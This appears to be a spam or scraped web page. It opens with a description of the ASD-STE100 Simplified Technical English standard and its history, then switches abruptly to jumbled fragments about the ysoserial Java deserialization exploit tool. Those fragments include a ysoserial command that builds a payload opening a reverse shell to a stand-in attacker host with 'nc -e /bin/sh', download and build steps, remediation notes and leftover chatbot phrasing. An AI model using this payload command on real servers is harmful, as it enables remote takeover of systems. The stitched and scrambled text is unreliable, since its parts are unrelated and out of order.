Simplified Technical English
Standard for Technical Documentation
European Union Trade Mark No. 017966390
The official page of the ASD Simplified Technical English Maintenance Group (STEMG)
ASD-STE100 Simplified Technical English (STE for short) is a controlled natural language and an international standard to write technical documentation. It is fully owned by ASD, Aerospace, Security and Defence Industries Association of Europe, Brussels, Belgium.
STE was developed in the late 1970s by the European Association of Aerospace Industries (AECMA, now ASD), with support from the Aerospace Industries Association of America (AIA), upon request from the European airlines (formerly, AEA). The goal was to make aircraft maintenance documentation easier to understand for readers with only a basic command of English. The resulting AECMA Simplified English Guide was released in 1986. In 2005, it became an international specification, and in 2025 it became an international standard: ASD-STE100 Simplified Technical English.
Still at the core of technical documentation
Used in a wide range of sectors, including language services
Adopted by universities and researchers worldwide
java -jar ysoserial-0.0.4-all.jar CommonsBeanutilsCollectionsLogging1 'nc -e /bin/sh attacker-ip 4444' > payload.bin
Only run payloads against systems you own or have explicit, written permission to test (such as during an active corporate engagement).
: Ensure components like Apache Commons Collections, Spring, and diverse application servers are updated to versions where known gadget chains have been broken or mitigated.
Open your terminal or command prompt and clone the source code from the official GitHub repository: git clone https://github.com Use code with caution. ysoserial-0.0.4-all.jar download
: The system command you intend to execute on the target server (e.g., calc.exe or id ). Remediation: Defending Against Deserialization Attacks
Once downloaded or built, the utility is executed via the terminal to output a raw payload payload file:
The ysoserial collection discovers "gadget chains" (sequences of standard library or common dependency method calls) present in the target application's classpath. It automates the generation of these exploit payloads, saving researchers from manually mapping complex execution paths. The Danger of Downloading Pre-Compiled .jar Files java -jar ysoserial-0
: If you're on a Linux/macOS system, you can use wget or curl to download the file directly from the command line.
Navigate to the "Releases" section to find historical builds, or clone the repository and build the JAR using Maven. 2. Building from Source (Recommended)
Here are some general steps to use ysoserial: : The system command you intend to execute
If you want to tailor ysoserial for a specific environment, let me know: The of your target (Windows, Linux, etc.) The specific Java version running on the system
0.0.4 is an older release often referenced in educational materials and early deserialization research.
behind one of the payload generators.
Untrusted mirrors may alter the payload generation logic, intentionally exfiltrating your target's data or your own infrastructure details to a third party. How to Safely Build ysoserial from Source
While the tool has evolved significantly in later versions, version 0.0.4 holds a specific place in the history of cybersecurity. Released around early 2015, it arrived during the explosion of Java deserialization vulnerabilities, most notably the Apache Commons Collections (ACC) exploits.